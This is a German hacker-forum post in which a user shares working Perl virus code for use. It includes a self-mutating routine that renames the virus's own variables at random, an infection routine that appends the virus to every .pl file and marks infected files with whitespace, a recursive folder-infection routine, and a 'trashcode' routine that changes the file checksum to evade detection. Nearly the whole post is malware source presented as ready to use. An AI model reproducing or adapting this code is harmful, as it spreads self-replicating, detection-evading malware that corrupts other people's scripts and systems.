Hi
ich bin neu hier und ich weiß, dass Perl-Viren nicht das wahre sind. Trotzdem funktionieren sie, also schreib ich hier ein paar brauchbare Codes von mir rein.
Varchange:
Das Programm liest sich selbst ein und sucht jede Zeile nach den Strings aus @change ab. Die Strings werden dann durch zufällig generierte Strings ersetzt. (Idee und erste Umsetzung by Perfoin, Einfachere Umsetzung [Schleifen usw.] by me)Code:sub varchange{ @case = ("A".."Z","a".."z","0".."9"); @change = ("case", "change", "var", "myself", "line", "varchange", "virii", "count"); @var; for ($count = 0;$count < scalar(@change); $count++){ $var[$count] = $case[int(rand(52))].$case[int(rand(62))].$case[int(rand(62))].$case[int(rand(62))].$case[int(rand(62))]; } open(virii, "<", "$0"); @myself = <virii>; close(virii); open(virii, ">", "$0"); foreach $line (@myself){ for($count = 0; $count < scalar(@change); $count++){ $line =~ s/$change[$count]/$var[$count]/; } print virii $line; } close(virii); }
Perl Infection Routine:
Das Infection-Mark sind 6 Leerzeichen in der ersten Zeile. Jede Perl Datei im aktuellen Ordner wird geöffnet und überprüft, ob sie schon infiziert ist. Ist dies nicht der der Fall, wird in eine neue Variable Die erste Zeile MIT Infection-Mark geschrieben, in die nächste Zeile ein Aufruf für eine zufällige Subroutine (zufällig im Sinne von zufälliger Name). Dann wird der zu infizierende Code in die Variable geschrieben und der Virus-Code als Subroutine mit oben genanntem zufälligem Namen ans Ende der Datei geschrieben. (by me)Code:#!/usr/bin/perl sub viri{ sub perlInfect { # *.pl Dateien infizieren @case = ("A".."Z","a".."z","0".."9"); $call = $case[int(rand(52))].$case[int(rand(62))].$case[int(rand(62))].$case[int(rand(62))].$case[int(rand(62))]; foreach $pl ( glob("*.pl") ) { if ( isInfected($pl) == 0) { open(me, $0); open(target, "<", "$pl"); $_ = <target>; $_ = <target>; $new = $1 . "#!/usr/bin/perl \n\&$call\(\)\n" . $_; while ( <target> ) { $new = $new . $_; } seek(me, 0, 0); while ( <me> ne "sub viri\{\n" ) { }; $new = $new . "\nsub $call\{\n"; while ( <me> ) { $new = $new . $_; } close(target); open(target, ">", $pl); print target $new; close(target); close(me); } } } sub isInfected{ # auf Infection prüfen $file = $_[0]; open(pl, "<", $file); @perl = <pl>; close(pl); return $perl[0] =~ / /; } sub foldInfect{ # Ordner infizieren chdir('..'); chdir('..'); foreach $dirs (<*>) { if ((-r $dirs) && (-w $dirs) && (-d $dirs)) { chdir ($dirs); &perlInfect(); chdir('..'); } } } }
Ordnerstruktur durcharbeiten (rekrussiv):
Manchmal will man ja nicht nur Dateien im aktuellen Ordner infizieren.
(by me)Code:sub foldInfect{ foreach $dirs (<*>) { if ((-r $dirs) && (-w $dirs) && (-d $dirs)) { chdir ($dirs); #auszuführende Funktionen &foldInfect(); chdir('..'); } } }
Trashcode:
In jede 2te Zeile wird "TrashCode" in Form eines Kommentars eingefügt. Also kein wirklicher TrashCode aber die Checksumme ändert sich (by Perfoin)Code:sub trash{ open(vir, "<", "$0"); @myself = <vir>; close(vir); open(me, ">", "$0"); foreach $line (@myself){ $zahl1 = int( rand(501) ); $zahl2 = int( rand(501) ); print me $line; print me "#$zahl1\n"; print me "#$zahl2\n"; } close(me); }
mfg poll9797
Edit: manche stellen werden als PHP-Code falsch dargestellt, also muss man auf Syntax-Hilighting verzichten

Zitieren
